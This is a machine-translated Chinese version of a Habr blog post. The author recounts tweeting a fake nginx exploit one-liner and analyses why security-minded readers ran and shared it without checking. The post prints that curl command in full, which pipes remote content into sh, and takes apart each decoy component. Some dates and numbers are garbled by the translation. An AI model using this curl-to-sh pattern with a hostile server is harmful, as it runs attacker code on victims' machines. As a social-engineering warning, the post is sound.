笔记。 翻译。:
TL;DR:在任何情况下都不要在 sh 或 bash 中使用文件管道。 这是失去对计算机控制的好方法。
我想与大家分享一个关于 31 月 XNUMX 日创作的漫画 PoC 漏洞的小故事。 他立即现身回应消息
在完成了curl中新的混淆技术的研究后,我引用了原始推文并“泄露了一个工作PoC”,其中包含一行代码,据称该代码利用了已发现的漏洞。 当然,这完全是无稽之谈。 我以为我会立即暴露,并且最多我会得到一些转发(哦,好吧)。
然而,我无法想象接下来发生的事情。 我的推文人气飙升。 令人惊讶的是,目前(莫斯科时间15月00日1:XNUMX)很少有人意识到这是假的。 许多人根本没有检查就转发了它(更不用说欣赏它输出的可爱的 ASCII 图形了)。
看看它多么美丽!
虽然所有这些循环和颜色都很棒,但很明显,人们必须在计算机上运行代码才能看到它们。 幸运的是,浏览器以同样的方式工作,再加上我真的不想陷入法律麻烦,埋在我的网站中的代码只是进行回显调用,而不尝试安装或执行任何其他代码。
一个小题外话:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
社会电子工程 (SEE) 不仅仅是网络钓鱼
安全性和熟悉度是这个实验的主要部分。 我认为他们是他成功的原因。 命令行通过引用“127.0.0.1”(众所周知的本地主机)明确暗示了安全性。 本地主机被认为是安全的,其上的数据永远不会离开您的计算机。
熟悉度是实验的第二个关键 SEE 组成部分。 由于目标受众主要由熟悉计算机安全基础知识的人组成,因此创建代码以使其中的某些部分看起来熟悉和熟悉(因此安全)非常重要。 借用旧的漏洞利用概念的元素并以不寻常的方式将它们结合起来已被证明是非常成功的。
下面就来详细分析一下单行本。 这份清单上的所有东西都穿着 化妆品性质,并且其实际操作几乎不需要任何东西。
哪些组件是真正必要的? 这 -gsS
, -O 0x0238f06a
, |sh
以及网络服务器本身。 Web 服务器不包含任何恶意指令,只是使用命令提供 ASCII 图形 echo
在包含的脚本中 index.html
。 当用户输入一行时 |sh
在中间, index.html
加载并执行。 幸运的是,网络服务器的管理员并没有恶意。
-
../../../%00
——代表超越目录; -
ngx_stream_module.so
— 随机 NGINX 模块的路径; -
/bin/sh%00<'protocol:TCP'
- 据说我们正在推出/bin/sh
在目标机器上并将输出重定向到 TCP 通道; -
-O 0x0238f06a#PLToffset
- 秘方,补充#PLToffset
,看起来像是 PLT 中以某种方式包含的内存偏移量; -
|sh;
- 另一个重要的片段。 我们需要将输出重定向到 sh/bash,以便执行来自位于以下位置的攻击 Web 服务器的代码:0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- netcat 所指的虚拟对象/dev/tcp/localhost
这样一切看起来又安全了。 事实上,它什么也没做,只是为了美观而被列入其中。
一行脚本的解码和“社会电子工程”(复杂的网络钓鱼)方面的讨论到此结束。
Web服务器配置及对策
由于我的绝大多数订阅者都是信息安全/黑客,我决定让网络服务器对他们的“兴趣”表达更有抵抗力,这样他们就可以有事可做(而且这会很有趣)设置)。 由于实验仍在进行中,我不会在这里列出所有陷阱,但以下是服务器所做的一些事情:
- 主动监控某些社交网络上的分发尝试,并替换各种预览缩略图以鼓励用户单击链接。
- 将 Chrome/Mozilla/Safari/etc 重定向到 Thugcrowd 宣传视频,而不是显示 shell 脚本。
- 监视明显的入侵/公然黑客行为迹象,然后开始将请求重定向到 NSA 服务器(哈!)。
- 在用户通过常规浏览器访问主机的所有计算机上安装特洛伊木马以及 BIOS Rootkit(开个玩笑!)。
一小部分反剂
在这种情况下,我唯一的目标是掌握 Apache 的一些功能 - 特别是重定向请求的很酷的规则 - 我想:为什么不呢?
NGINX 漏洞利用(真实!)
订阅
来源: habr.com